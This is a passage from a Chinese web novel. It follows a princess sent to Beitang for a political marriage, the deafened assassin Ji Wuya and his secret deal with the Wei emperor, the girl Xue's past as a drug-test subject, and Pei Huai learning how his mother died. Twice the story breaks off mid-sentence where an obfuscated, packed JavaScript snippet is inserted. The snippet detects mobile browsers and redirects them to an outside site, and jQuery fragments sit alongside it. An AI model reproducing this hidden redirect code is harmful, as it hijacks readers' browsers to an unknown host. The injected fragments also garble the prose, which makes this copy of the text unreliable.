风吹得他们衣袍烈烈,李之夭头上珠钗铃铛作响,她忽然眼眶有些发热,说不感动是假的,但她千里迢迢来到北唐,最开始的目的不就是因为纪无涯么。 他拿了她全部的钱,投奔了裴淮和苏月清,她要跟他算清楚,问他到底想干什么。 刺杀安庆帝,何须如此大费周章,以他的身手,养好身子后潜入宫里偷偷将其杀死,引发北唐大乱,他在从中抽身离开,万事大吉。 但李之夭能感觉出来,此番和亲的队伍,除了她带着的自己人之外,秦立山带的将士,就连跟着的内侍和小厮,身手不凡,他们步伐坚毅,目光凛冽,做事有条不紊,很听命令,一看就是行伍出身。 她知道清武帝在酝酿着什么,只是她暂时还猜不出来,就连他们出城后,幕阜关的守城将士都开始集结整装待发。 “无人逼我。” 纪无涯神色怔然,眼神凄凄,“我跟你们大魏皇帝做了个交易,你出现在这里,是食言还是你知晓后并不领情?” 李之夭被他问得一怔,什么交易? 自己从头到尾都不知道。 秦立山策马上前拱手,“纪小兄弟误会,和亲是公主主动提出来的,皇上劝阻过。” 裴承泽上前道:“需不要派人帮你把他拿下?” 李之夭说不用,她视线并未从纪无涯身上离开,距离最后一次见面,纪无涯瘦了,衣服穿在他身上,有些宽大。 “他不会乱来的。” 李之夭转身回到马车里,秦立山下令继续启程。 纪无涯不再说话,驭马停在路边为队伍让道,如今什么都听不见,只能通过观察旁人神色和掌握不熟练的唇语,从他人的字字句句中,获取半点只言片语的信息。 李之夭心中疑惑越来越大,她很想知道纪无涯跟清武帝做了什么交易,看到她出现在这里,为何会这么伤心,自己的计划是否跟纪无涯的计划有所冲突。 车队慢悠悠地往前走,一路穿过北唐地界,北唐不必大魏地处中原,有许多一眼望不到头的平原,相比下,北唐多高山流水,多茂密树林。 北唐的都城地处蜀州,落在青城内,那边崇山峻岭,易守难攻。 金三娘他们的马车在后方,掀开帘子朝后望,就能看到一路跟在最末尾,保持着百米远距离的纪无涯,耿进才将头缩回来,揣着手跟金三娘说话。 “这纪无涯都跟了一路了,他若是想抢亲,直接动手啊,就这么不远不近的跟着,也不知道他想干嘛。” “也是个可怜人啊,小小年纪,跟主子一样经历这么多,换做是我,怕是要直接疯掉。” 他们面面相觑,相顾无言,北唐的冬天来得大魏晚,但现在也到了需要穿披风,多添衣的时节。 走走停停,最终在十一月初九的时候,抵达蜀州地界。 这日天上又下起了雨,空气湿冷,不得不找背风的地方搭棚避雨。 陪嫁的物件了,有好些都是绫罗绸缎,遭水坏了得不偿失。 等棚子建好,天色已晚,李之夭坐在火堆前,手里捧着盏热茶,披着披风,身上的红色嫁衣已经换下,换成宫装。 她朝队伍后面望去,视线全都被棚子遮挡,根本什么都看不见,她垂眸望着茶杯出神,直到飞鸿回来才回将思绪拉回。 踏雪为他递上一杯热水,让他暖暖身子,紧接着问情况如何,飞鸿一口闷下,拭了拭唇边的水渍。 “纪无涯还跟着。” 春夏不解:“这都到蜀州地界了,若是想送主子一程,也该离开了。” 飞鸿:“不光如此,这几日我还发现纪无涯偷偷帮我解决了从大魏过来跟在身后的尾巴,我想那些人应该是…” 说着悄悄瞥了一眼李之夭,见她神色如常,才继续接着把话说完,“我想应该是太傅派来的。” 小顺子瞬间感伤起来,“太傅也这么不讲情面,好歹主子也是他的学生,竟能狠下来心来赶尽杀绝。” 时雨眉宇担忧,“丞相不是说把这件事告诉给了皇上,太傅还敢这么做,要么放手一搏,要么皇上压根没想处置太傅,或者这些事都是皇上默许的。” 她往深处想了去,浑身都泛起鸡皮疙瘩,细思极恐。 李之夭将杯子里的水喝完,拢了拢披风,戴上兜帽站起身,“我去方便一下,你们不用跟了。” 小二着急出声,“要不主子你还是带个人跟着吧。” 李之夭摆摆手说不用,头也不回地往队伍的末尾走。 骆寒山他们心里早就猜得七七八八,将不通人情的小二拉回来,“主子去方便,你跟着去干什么。” 李之夭一路穿过陪嫁搭起来的棚子,北唐的人在前方,到后面就是大魏的人。 她暗中观察几次,发现这些人哪怕住在这样捡漏的避雨之地,也不见有任何不适,相反还很娴熟干练,就连吃的饭菜都是一锅下灶,吃的大杂烩。 相比较丫鬟婆子,吃的虽然简单,但也比较精细。 晚上的时候,天上的雨已变成丝丝细雨,飘零在半空中,落在脸上凉凉的,外面的披风斗篷上沾着细小的水珠。 李之夭来到队伍的最末端,在周围环境扫视一圈,她看到藏在林里树梢上的黑影,提裙朝着黑影走去。 待走到树下,她仰头望着树上的少年,“你是山猴吗,这么喜欢在树上。” 纪无涯外头往下看,随后翻身下来落在李之夭跟前,“你来做什么?“ “纪无涯,我觉得我们两个有必要好好谈谈。” 心中藏太多,说出来对各自都好些,只要她不问,就不会主动说,做人不能太纪无涯。 李之夭说完看纪无涯还站在原地,以为他没听清,又重复了一遍,谁知对方还是没反应。 “你不想跟我摊牌的话,你至少告诉我,你跟大魏皇帝做了什么交易。” 纪无涯盯着她的嘴唇,终于读懂她是什么意思,“清武帝没跟你说么?” 李之夭说没有,“而且,你拿我的钱,就是为了去投奔裴淮?你看看你现在人不人鬼不鬼的样子,这就是你投奔的结果。” 李之夭说得很快,纪无涯想尽力读懂她在说什么,但越努力心就越乱,变成一团乱麻,让他什么都做不了。 但很快发现,不管她说什么,纪无涯回应的话聊胜于无。 他一身布衣站在鹅毛细雨里,发尾微漾,李之夭没由来的感觉一阵心烦,“皇上应该告诉我什么,我的自由是你换来的,你跟他之间到底达成一个什么协议。” 纪无涯缓缓道:“你来北唐,是为了什么。” 少年眼底闪过一丝期翼,说话语气如同纷乱的雨丝,飘零在风里。 李之夭上前一步揪住纪无涯的衣襟,“我来北唐你希望是什么?” 纪无涯读懂李之夭唇语,心中有个念头蹦出来,回想从前,又觉得这个念头十分可笑,于是闭上眼睛不敢看她,“我不知道。” 只是一旦闭上眼睛,后面李之夭说什么都看不见了,也听不到,世界很安静,安静到除了如丝细雨落在脸上的感觉,风吹过衣摆的凉意,以及对面忽远忽近的气息。 记忆走马观花的闯进回忆里,不管什么时候,他依旧忘不掉,夏日种种浮光掠影,唯独对耀耀日光,照着树叶明晃晃,婆娑影下少女夏衫摇曳,珠翠烨烨。 身上独有的桂花牛乳香,将他拉回抱着她穿过人影幢幢的街道,身后唱着捉黄鬼的那晚,被拆穿的少女睁眼笑得明艳艳的样子,眸子里虽然擒着眼泪,心思活络得像只狸猫。 正如盛夏的早晨,少女明眸皓齿冲他笑得眉眼弯弯,忽然凑近的脸,好看的眼睛如同狡黠地猫儿,声音明朗。 不如你以身相许啊。 他的心乱了。 早已打定主意不会喜欢上任何人的他,那时候连呼吸都是乱的,只觉天气燥热,很是烦人。 和裴淮一起离开的时候,虽明白此行可能性命不保,对她的亏欠又不知该如何弥补,但一只困在囚笼的鸢,从来都是渴望重回无穷天际。 世间浩瀚,她应该是自由的。 擅自做主安排好她的以后,拼尽全力为她博一份安稳,就连雪的去处都安排妥当,世间了无牵挂,从此他再无退路。 再不知不觉间,他们生死与共,共进共退,他对她的感觉早就变了质。 再睁眼李之夭一把匕首已抵在纪无涯的脖子上,揪着衣襟的手将他往下压了压,两人的距离再凑近了几分。 她身上惯有的桂花牛乳香往纪无涯气息里不停地钻。 “纪无涯,你回答我。” 鬼使神差的,纪无涯伸手虚虚揽住对方的腰,另外一只手轻轻触碰到未施粉黛的面颊,眼眸微垂,扬起一抹淡淡的笑意,说话声音浅浅,一字一句却宛如在起誓。 “用我一命和北唐动乱,换你一世平安喜乐,福寿安康,天地自由,随处可去。” 李之夭惊愣,抵着他脖子的匕首渐渐松开,明明纪无涯此时笑的温柔缱绻,宛如五雷轰顶炸在她脑子里。 瞬间想不通的事全都能明白。 为什么幕阜关的将士会忽然集结。 为什么秦立山会亲自护送。 为什么大魏送亲队伍的男子个个行动干脆利落,不似宫里的人。 为什么清武帝会答应她的和亲请求。 因为这一切都是为了等待纪无涯杀了安庆帝后,再杀了裴淮,让北唐大乱,趁北唐暂时无人可用之际,由借着和亲为由头的秦立山带着精锐暗中拿下北唐皇室。 然后幕阜关的将士趁机出兵攻打北唐,真正实现统一。 这是纪无涯送给清武帝能让他松口放她出宫的条件,以北唐国土为谋,求她后半生自由。 李之夭手里的匕首拿不稳掉在地上,纪无涯抓着她的手,微凉的指尖触碰到少年的面颊,雨水湿漉漉的,纪无涯微微歪头把脸贴在她的掌心。 “我不想欠你,既然重活一世,这次我不想死之前欠任何人了。” 李之夭的手发颤,“可是我跟裴承泽已说好,我帮他夺取北唐,他帮我找回来你,你一声不响把我的钱全部卷走,甚至消息都不留一句,我要你全部还给我,一分不少加上利息的还给我。” 纪无涯听不见她说什么,只是低头浅浅地在笑。 显然李之夭也发现了什么,她伸手蒙住纪无涯的双眼,叫了他的名字之后,发现纪无涯丝毫没有反应。 不管叫多少次,纪无涯依旧一点反应的都没有。 李之夭控制不住的掉眼泪,甚至几度哽咽出声,换做从前,他最怕她哭了,一旦她哭,纪无涯就会让她别哭了。 现在他安安静静站在面前,等平复好心情,挪开蒙住他眼睛 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杨刻身后跟着一群身穿玄色铠甲的侍卫,颜色跟裴承泽手底下的青色铠甲颜色不同,加上秦立山带来的大魏将士,三拨人围成了三圈。 裴淮从人群中走出来,“五哥打算娶妻怎么也不说一声,和亲这种事,落在五哥头上,是否有些难为你了。” 裴承泽皮笑肉不笑,“都是父皇的安排,有何为不为难,可惜六弟当时不在大魏,说不定此番和亲还会落在你头上。” 裴淮:“我已有心悦之人,就不劳烦五哥费心了,只是和亲一旦落定,将来很有可能成为五哥的阻碍。” “阻不阻碍倒是其次,不愧是六弟,刚回来就意气风发,这才没几日,你就得到父皇身边的黑甲卫相助,手段实力可不减当年。” 裴承泽踱步来回,“我闲云野鹤,当个纨绔习惯了,早日寻到归宿,也不失为一件坏事,我一不求官职,二不求万人之上,只有个平安逍遥,可不想跟你们争。” 裴淮负手,目光落在了裴承泽后方的李之夭身上,“五哥还是当心自己万一被人当猴耍,身边的人心思各异,迟早要吃亏。” 说着又看向纪无涯,“十三,你该动手了。” 说完,纪无涯不知何时捡起李之夭掉在地上的匕首,将其递上李之夭的脖子,大魏的将士瞬间把矛头对准包围圈最中央的纪无涯人身上。 秦立山知晓裴淮的身份,满脸愤怒,“当初你刺杀我大魏一国之君,如今你能安然无恙站在这里威胁和亲公主的性命,这就是你们安庆帝给我朝的交代?” 杨刻手中的长剑也抵上裴承泽的脖子,裴淮走到他身边,将秦立山手里的长剑摁下去,“秦将军英勇善战,带兵借着和亲的名义想伺机潜入我朝,被我发现,与同党就地诛杀,我回去这么跟父皇说,人证物证皆无,他不想信我都难。” 裴承泽皱眉,“父皇不会这么轻易相信你的。” 裴淮说是,“他是不会轻易信我,那是从前,现在他不得不信我,毕竟我知道他这些年极力想做一个好国君,企图让世上所有人都忘记曾经的所作所为,他愧对我母妃,他不得不对我服软。” 李之夭趁裴淮他们不注意,将纪无涯的刀口往外挪了挪,“璃王此言差矣。” 所有人的注意力都集中在李之夭身上,“若是我们死了,消息会立马传回大魏,我舅舅身为大魏皇帝知道,必定要为我们讨个公道,你的行为导致两国交战,届时生灵涂炭,就算你登上了那个皇位,天下百姓将如何看待你,你总不能把所有对你不满的人全都杀了以堵天下悠悠众口,那时候你的位置怕是也到头了。” 现场气氛顿时剑拔弩张,所有人的兵器已缓缓出鞘,随时准备接下来大干一场。 细雨蒙蒙,杀意随着烟雨弥漫。 远方忽然传来阵阵兵马步伐,整齐划一的步伐响彻云霄,最前方战马嘶鸣。 一名身穿红色内侍官服的公公快马赶来,赶在大战一触即发之前。 他尖声到道:“传皇上口谕,近日将大雨连绵,为防止意外发生,尔等连夜赶路进宫,明日一早五殿下同宿宁公主,大魏秦大将军一同觐见,即刻启程,不得有误!” 内侍说完佯装惊讶地看向裴淮,“璃王殿下,您怎会在此?皇上傍晚还在念叨您呢。” 裴淮示意杨刻他们收起手中兵刃,客气跟内侍解释:“我许久未曾见过五哥了,心中想念得紧,这不想赶来接五哥一程。” 内侍笑着应下,“既如此,璃王殿下随我们一块回去吧。” 即将爆发的一场战斗悄无声息的结束了,大家谁都不提方才的事情,各自一片祥和,喜气洋洋之意。 随着拔营连夜赶路的消息传来,没用多久,原本停下来的队伍又开始朝着青城方向去。 天刚蒙蒙亮的时候,天上细雨也停了,李之夭在马车上换了和亲时候穿的嫁衣,由时雨和春夏帮忙挽了发髻,戴好配饰。 黎明的朝阳初升,队伍也停在宫门前,小顺子搀扶着下马车,时雨陪同进宫,春夏和小顺子则是将和亲的人马迁往驻扎的驿站里。 李之夭目光在裴淮的队伍那边游移,意料之中的没有见到纪无涯。 进宫觐见安庆帝,他不是想象中的那般威严不近人情,看到她甚至还有些热情跟亲和,整个过程很轻松,就连朝里的大臣都是一片祥和气氛,无人不说一句好。 说大魏有心,和亲的公主跟他们的五皇子郎才女貌,看上去很是登对,就等着三天的阴雨天过后,正式跟裴承泽完婚。 朝堂上并未看见裴执,罕见的看到了苏月清,她身穿女官服,站在了文臣的队列里。 李之夭收敛目光,等走完流程,便和秦立山他们一起回到驿馆了。 晚上的时候,天上又下起了雨,这次的雨水来得很急,噼里啪啦敲打屋檐,外头的庭院尽是哗啦啦的雨声,很是吵闹。 出乎意料的是,傍晚时分,雪却忽然来了。 103. 故人 第103章 确认外面没人跟着,雪才踏进屋子,十一月雨天的青城,到处透着凉意,时雨将窗户合起扣上。 小顺子拉开凳子,雪道了句谢才坐下。 她细细望着李之夭的眉眼,思绪又回到那年的冬天,在燕国雪山下,她于荒野遇到那个女人,“你长得真的跟我从前遇到的一个女人很像。” 雪神色惆怅,“可惜,我都不能再见她一眼。” 雪从随身的小挎包里取出一卷图纸放在桌上,“这是北唐皇宫的布防图,大大小小的道路全都在上面了。” 李之夭铺开画卷,北唐宫城的布局赫然立于纸上,多久换勤,间隔时间都在纸上,“这东西你是从哪里搞来的?” “是我这一月摸索出来的,我先师兄来到此地,这也是他让我给你送来的。” 李之夭将图纸收起来,眼前小姑娘眉眼不似从前那般天真灵动,如今行事作风隐隐都有寻方沉稳的影子,或许是寻方死后导致的。 心底忍不住叹口气,到嘴边的话却又变成夸赞,“你现在都变得这么厉害。” 雪听闻眸子闪了闪,仍是故作老气横秋的调调跟她讲话,“毕竟谁都不能一辈子当小孩子,从前事事皆有师兄在前方,今时不同往日,我若再不懂事,就是给师兄带来麻烦,我不想寻方在天上都还笑话我。” 成长大多数都在一瞬间,到底是长大了。 “你有这份心,他会感到高兴的。”窗外雷声轰鸣,雨势尚大,见雪有想起身离开的趋势,李之夭主动但聊起别的话题,让她待会儿等雨小些再离开,“你说我长得像谁?” 雪摇头说我不知道,“我仅见过她一次,是在燕国亡国的一年前,那时我刚九岁,燕国梅郎的冬天。” 她回忆着当时的情景,只记得那一年的冬天燕国很冷,雪下得很大。 从未想过,外面的世界银装素裹,漆黑的雪夜里,她从不知名的地下屋里爬出来,站在广袤无垠的大地上。 外面的空气不是混合着难闻的草药味,也没有不知来源的恶臭味。 风凛冽地刮在脸上生疼,她穿着单薄的衣衫,赤脚奔跑在冰天雪地里,双脚冻得没有知觉,就连整个人的身子都变得麻木。 呼出的气都是白色的,她不停地往前奔去,跑向远处屹立的梅郎雪山,听闻梅郎雪山是燕国神女居住的地方。 困在地下屋的日子里,身边的小伙伴都是这么说的。 但身边跟她同龄或者比她年纪还小的孩子在睡梦里都会哭着说神女会不会来? 走了一批又一批,来来去去。 神女会不会来不知道,她只知道,每个来这里的人都要死了。 被那个肮脏的老头拿去当药人做实验,为了荣华富贵作为最终的容器,由别人先喝下药之后没有出现死亡的情况才会轮到她。 常年泡在药里,不管毒药,解药,每当以为她必死无疑的时候,总能捡回一条命,奇迹般的睁开眼睛,平稳呼吸。 老头宛如枯木的脸细细盯着她,又哭又笑,手舞足蹈,嘴里念着,“成了,成了,我快成了。” 往后计量不断加大,浑身痛得死去活来,每日生活在水生活热里。 不光如此,老头还会抓江湖人进来,把对方的内力传到她身体里,也是从那时候起,她原本在屋中还有些自由的人,顿时失去了行走的权利。 老头怕她吸收太多内力,于是用铁链将她捆在牢里。 后来她实在压不住体内的内力,险些走火入魔,那日老头不在地下屋子里,雪挣开铁链,拖着虚弱的身体,第一次走出地下,看到外面的光明。 都说神女在梅郎雪山,居住在雪山之巅的神宫秘境里。 所以她出来,毫不犹豫地奔向远处最高的山峰。 身后的狼群越来越多,全都追着她跑,但她根本不会使用内力,不会武功,没人教过她,只能凭借本能的靠着两条腿奔跑。 最后身子冻僵摔倒在林子里,稀稀疏疏的声音传来,闭上眼睛,狼群越来越近,她想哭,发现眼里根本没有一滴眼泪。 意识朦胧间,狼群忽然全部散开了,只见天上的大雪还在飘呀飘,落在睫毛上冰凉。 “娘娘,这是个小孩子!” 那张温和大气的脸出现在视线里,对方神色焦急,甚至解下身上的披风裹着她,称呼为娘娘的女人戴着步摇,步摇晃动时发出清脆的叮咚声。 她意识快要抽离,实在换不回来意识去看了,她身后是巍峨高耸的梅郎雪山。 旁人唤女人为娘娘,那么一定是神女娘娘,从山顶的神宫中下来,救救她这个可怜人。 “孩子,你叫什么名字?” 好奇怪,既然问问题,为何要把她抱在怀里,还拿雪搓她的身体。 但她没有名字,老妖怪不给她取名字,心情不好时打骂,说她迟早是要献给皇上用来长生不老的药人,只要知道日后服侍好皇上就行,至于名字,低贱的狗不需要名字。 她缓缓伸手指了指天上飘零的大雪,只能吐出一个字,“雪……” 雪下得真大啊。 “你叫雪啊,这个名字真特别,你的家人呢,千万不要睡,多大年纪,我有个女儿,十四岁,等一月过年的时,就及笄了,届时说不定能认她当个姐姐。” 雪扯了扯嘴角,原来,她的名字叫雪。 后面的事她不记得了,但睁眼的时候,不是在冰天雪地里,而是在温暖的帐篷中,帐篷外人影幢幢,帐篷里的碳火烧得很旺,还有牛羊肉的香味。 见她醒过来,守在旁边小侍女喂她喝了点水,吃了些食物。 “日后若是你留下来,定要好好报答娘娘,她为了你,挨了皇上两个耳光,现在都还在皇上的帐篷前跪着呢。” 雪眨眨眼睛,有些不懂她说的是什么意思,但小侍女很能说的样子,“娘娘真是咱们宫里的大善人,还好你碰上她了,不然你就真的没救了,你要赶紧养好身子,日后跟我一块玩,娘娘身边就只有我一个这么大年纪的小孩,还是她从宫外捡回来的,平日都每个人说话,娘娘一定要长命百岁,唉?你怎么不说话啊。” 小侍女叹息一声,“你不想说就不要说了,你还是个病人。” 雪听她说话,对娘娘似乎很崇拜尊敬,“万一娘娘死了呢……” 她毫不犹豫地说出来,“那我就跟着她一起死!” 雪心里忍不住嘲笑她,生生死死哪有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617041|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么简单,她刚记事的时候就被爹娘十个铜板卖给了老妖怪,想死这么多年,没有一次成功,等身子养得差不多了,就会迎来一顿毒打,打完老妖怪又把她泡在药桶里疗伤,反反复复。 外头的风雪声被隔绝,里面除了小侍女喋喋不休的说话声,就剩下碳火跳动的声音。 她也忍不住憧憬起往后的生活。 小侍女留下一句我出去打探打探消息就跑了。 雪待在帐篷里,直到第二天早上,风雪都停了,还是不见人回来,屋子火盆里的火在后半夜就灭了,她坐在床榻边一动不动的。 直到中午,小侍女才哭着跑回来,她脸上有两个巴掌印,她刚进来就想拽着雪往外走,“你不能留下来了,你赶紧走,娘娘被皇上关起来了,皇上要把你送给一个七十多岁的老头子,你赶紧走。” 雪被她拽得一阵踉跄,险些跌在地上,她迷迷糊糊的,“娘娘叫什么名字?” 小侍女顿时止住哭声,“娘娘叫连……” 只可惜她话未能说完,帐篷就被人掀开。 老妖怪杵着拐杖走进来,皱纹堆满一整张脸,双眼深深凹陷进去,眼白都成了黄色,布满血丝,他把小侍女推开,上来抓住雪的手腕,就要把她往外拖。 雪挣扎不想走,但他却站住脚步,“你可是要害死娘娘?你要知道,你的存在从一开始就是为了皇上,日后等你成为完整的药人,把你送进宫,就能见到她,你若是继续留在这里,只会害人,跟我走。” 可是后来不等她进宫,在冬雪刚停下,燕国土地上,她在进宫的马车上,就传来大魏进攻燕国的消息,燕国亡了,那位娘娘也没了。 她和老妖怪缩在客栈的暗室里,昏暗的蜡烛不停的摇啊摇,熬到最后油尽灯枯。 室内昏暗,有人用火柴棍挑了挑灯芯,把快熄灭的灯挑亮了些。 时雨做完这些把披风披在站在窗前的李之夭身上。 雪离开有段时间了,但她仍然陷在雪的过往里拔不出来。 “从前我觉得我娘什么都不好,现在却觉得她什么都好,万般好,天下第一好。” 窗外的凉风吹来,灯芯恍惚一阵又亮了,时雨答,“主子也万般好。” “只可惜我娘走得太过决绝,当时我求着她不要,可她最后还是跳下去了,一心求死的人却劝我活着。” “她只是看得通透。”时雨心思飘有些远,就连去哪自己都抓不住,“死能解决的问题太多了,活着才有是新生。” 李之夭转头笑眯眯望她,“你说的对,死能解决的问题很多,就像如今我在大魏的处境。” 时雨脑子转得很快,还是不理解李之夭的话。 李之夭笑出声来,“反正出都出来,日后是绝对不能再回去了,总不能从一个火坑跳到另一个火坑。” 她晃了晃手里今晚雪送来的图,“纪无涯把这个给我,就说明他还是跟我站在统一战线上的,既然如此,后面我给裴淮,苏月清来个大的,让裴淮彻底没了想攻打我大魏的心思,两朝相安无事,统一或许是好事,但就现在来说,百姓承担不起了,我不顾往后,但求活着的时候有一份安宁,我身在局中,我必要为那执棋人,而不是他们的棋子。” 104. 真相 第104章 今日雨已经停了。 但外头的阴霾尚未散去,没有太阳,并不是个好日子。 但也确实不是好日子,本该今日婚宴的五殿下和宿宁公主,先前定下的日子,又不是好天气,也不是好日子,被五殿下的生母给驳了回去。 安庆帝只能另选日子,又定在了十五的时候。 往后延了五天。 只要李之夭未成婚,秦立山他们便一日不走。 杨刻打探完消息回来,如实报告给裴淮。 苏月清从水榭的软塌上起身,裴淮替她拢了拢披风,苏月清看了看纪无涯那边,裴淮也顺着她的视线望去,纪无涯坐在水榭外的一块青石上,望着一池枯萎的莲花发呆。 或许是之前纪无涯身子实在差,裴淮难得体恤,让苏月清帮他医治了一番,加上几天的休养,如今的气血总算好了不少。 “他体内中的是邀月毒,我在师父的手札上见到过关于它事。” 苏月清从桌上拿了把饵料,洒在池子里。 鲤鱼浮出水面成群结队的吞食着饵料,鱼尾扑腾,水面水纹荡漾。 她淡淡的嗓音用所有人都能听到的音量说出来,“想要解此毒,除了药珠就剩下月集,药珠丢失不知在何处,下月集出自燕国,李之夭可能会知晓其下落,若想救人别无他法,我如今只能帮他抑制,做不到根治,就连师父来了,也是一样。” 杨刻瞥了瞥纪无涯,“若是想找,只怕艰难,主子还是不要冒险,毕竟皇上刚对你放下戒备,贸然对李之夭出手,只怕会引起五皇子和皇上猜忌。” 裴淮叹了口气,原先他对纪无涯有股莫名他本该是站在自己身边的人,包括李之夭也是,她也应该帮自己的,这样的感觉很是强烈,走到现在纪无涯回到身边,那股感觉才消失。 可想到李之夭,他们都对她是恨之入骨的,若没有她从中作梗,计划一路顺畅,万无一失,如今对李之夭不归顺的感觉越来越强烈。 就连裴执都说他刚到大魏不到一天的时间,使臣走后的当天晚上,他就被抓进了大牢,甚至无人搭理他,一天两顿饭。 后面又莫名其妙被放了出来,刚出来就知道他这边的事。 裴淮敛了敛眸,轻轻握住苏月清的手,“清清,纪无涯只能暂时麻烦你了。” 他也没让纪无涯过来道谢,这段时间也不敢再派他外出执行任务,万一人死了,自己得不偿失。 青鸢回来摘下头上的斗笠,冲他们行礼,“主子,皇上明日会出宫为五皇子的大婚祈福,是我们去一探究竟的机会。” 裴淮说好,“我倒要看看,父皇一直不肯告诉我母妃的事情,真相究竟是何。” 若是错过这次机会,等到安庆帝离开,御书房守备松懈,就不知是什么时候了。 同样,书中的这个节点,是裴淮知晓自己身世和生母的时候,其中剧情李之夭并未觉醒,但她知道,这是裴淮对安庆帝失望,坚定了想自己称王,为他母妃正名的念头。 书中并不是安庆帝想出宫祈福,而是那日安庆帝每年在冬季来临之前去庙里祈福,虽然事情缘由变了,但时间节点并未改变。 裴淮想探究皇帝的密室,李之夭就不会让他悄无声息出去,裴淮始终是安庆帝最喜欢的儿子,知道真相又如何,若能借此导致他们父子离心,相互对峙。 适时把裴承泽顶上去,还能顺势砍一砍裴淮的风头,引导一下朝中的大臣的风向。 根据雪带来的皇宫布防图,确定好御书房的位置,她心中便有了主意。 “飞鸿,明日裴承泽跟安庆帝要去寺庙,辛苦你今晚先去跑一趟,裴淮会在安庆帝出宫半个时辰后动手,半个时辰队伍能到山下,北唐讲究出行万事皆顺,若不顺则会原来返回,在明日安庆帝的必经之路上你装作牧羊人,你在路边的树上抹些骆师傅做出来的药,能吸引羊去啃树皮,安庆帝见到会认为不是个好兆头,定会反宫。” 她说完看向踏雪,“裴淮走险棋,一路上必定会安排眼线盯着消息,你去截断那些眼线,不让消息进宫,回去半个时辰,时辰怎么都够安庆帝抓个现行。” 次日一早,两方人马都按照各自的部署进行着各自的计划。 飞鸿扮做老者羊群,羊不喜旁边的青草,却争先恐后奔向树干,啃食树皮,安庆帝见状果然命人停下马车,待打探清楚后,他果然命人掉头折返回宫。 帝王出行,天若异象,则是好兆头,若世间生灵在能吃饱的情况下却去吃正常人难以忍受的东西,则必定不是个好兆头,起码今日就是不宜出行的日子。 踏雪则抓紧时间找出裴淮安插的眼线,纪无涯避开人群在高处,除了明面上的眼线踏雪全都找出来了,但为了以防万一留下来的暗线,他跟着一路扔石子儿指引踏雪,把人打晕后带到暗处捆起来堵住嘴。 一直持续到宫里,杨刻守在御书房外面,屋子里的裴淮已开启密室的暗门,举着蜡烛走进去,暗室很小,走了没几步便到头了。 裴淮停下脚步,点亮里面的灯盏,暗室亮起来,墙壁上只挂着一副女主画像,画像下供着一副牌位,牌位刻字:左灵之位。 香炉外落了香灰,空气里的香味还未散去,今早还有人祭拜过。 裴淮望着跟自己有几分像的女子,心中顿时明白什么,步子一阵踉跄,环顾四周,左边设有一张书案,上面除了一本手札之外,剩下的全是左灵的画像,喜怒哀乐,或是背着竹篓回眸,姿态万千。 手札上的内容第一页:守真三十年,四月十九,吾于峨眉万年寺外遇一姑娘,槐花树下巧笑倩兮,明媚如春,吾心向之,女唤左灵,来自西南云州,槐花树下结缘。 守真三十年,十二月末,父皇薨逝,吾为太子登基,灵孕有七月,吾立发妻丞相之女为后,封灵为菱妃,心有愧之,除夕灵愿天下安定,四海升平,国之庆也,随孤定年号安庆。 安庆一年,一月廿二,封先箴言,真龙出于南,三国统一,天下大兴,欲要兴孤北唐也,千古一帝,指日可待,开疆扩土,然廿四日,魏燕两国口诛笔伐,联合讨伐,兵临城下。 封先箴言散布另两朝国君,孤问真龙于何,封先不知,但道西南云州,又道真龙不一,三国或可,疯疯癫癫,不知所云。 朝堂震荡,望真龙后世出,覆孤之王权,泣孤弑兄杀弟,不正不顺,国之难也,真龙救世。 廿四,封先断言龙出纳多,纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629294|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多于何,孤苦寻不得,但求灵告之,灵拒孤囚,真心磋磨,痛不欲生,守江山,真龙需死,为稳江山。 廿五,灵气动,幸胎稳,孤心宽慰。 廿九,三君会晤,云州起君,诛杀孕妇新生孩儿,江山在手,灵心神不稳,常常哭泣,求同孤各奔东西,一别两宽,各生欢喜。 …… 安庆二月,初九,孤假懈,灵走,计求其带三君往纳多,覆灭封先箴言。 十二,终寻纳多,山清水秀,乃世外桃源,史书记载乃邀月神女后人,其两君震撼,令灭族永绝后患,火光三日,惨叫不绝,尸山血海,天降血雨。 缘楼楼主为孤挚友,捉封先囚于十三一牢,不见天日。 灵泣血,诞下早产孩儿,投身火海,与族共存亡,此生不复相见。 孤取名为淮,谐音为槐,槐花树下,怀往昔忆故人…… 裴淮拿着手札的手一抖,没想到,没想到,真相竟是如此。 难怪安庆帝执政二十二年,宫里老人全换了一遍,就连当年知晓此事的大臣在二十二年的时间里都换得差不多,全都是对这件事不知情的人。 难怪不允许宫中谈论他的生母,竟是这样的原因。 他是纳多族的后人,而他的母亲因为他的父皇的利用,导致灭族,心灰意冷,才抛下他走得如此决绝。 身后忽然传来慌乱的咚咚脚步声,安庆帝闯了进来,看到站原地双目通红充满恨意的儿子,心中大骇。 “谁准你进来的!”安庆帝怒喝一声,“你简直胆大妄为!谁准你进来的!” 裴淮苦笑,晃了晃手里的手札,“父皇,这就是你一直不愿谈论儿臣母妃的真相是么。” 他伸手颤抖着指向安庆帝,挣扎纠结半晌,剩下的话犹如万千根针密密麻麻扎在心上,一旦说出,他们父子之间就再也没有回头路了。 “你是害死母妃的凶手。” 这句话宛如五雷轰顶,狠狠落在安庆帝的心口,他神色躲闪,却还在据理力争,“孤没有!” 他双唇翕动,目光坚决,“孤没有,害死她的是李道为和赵填,不是我!” 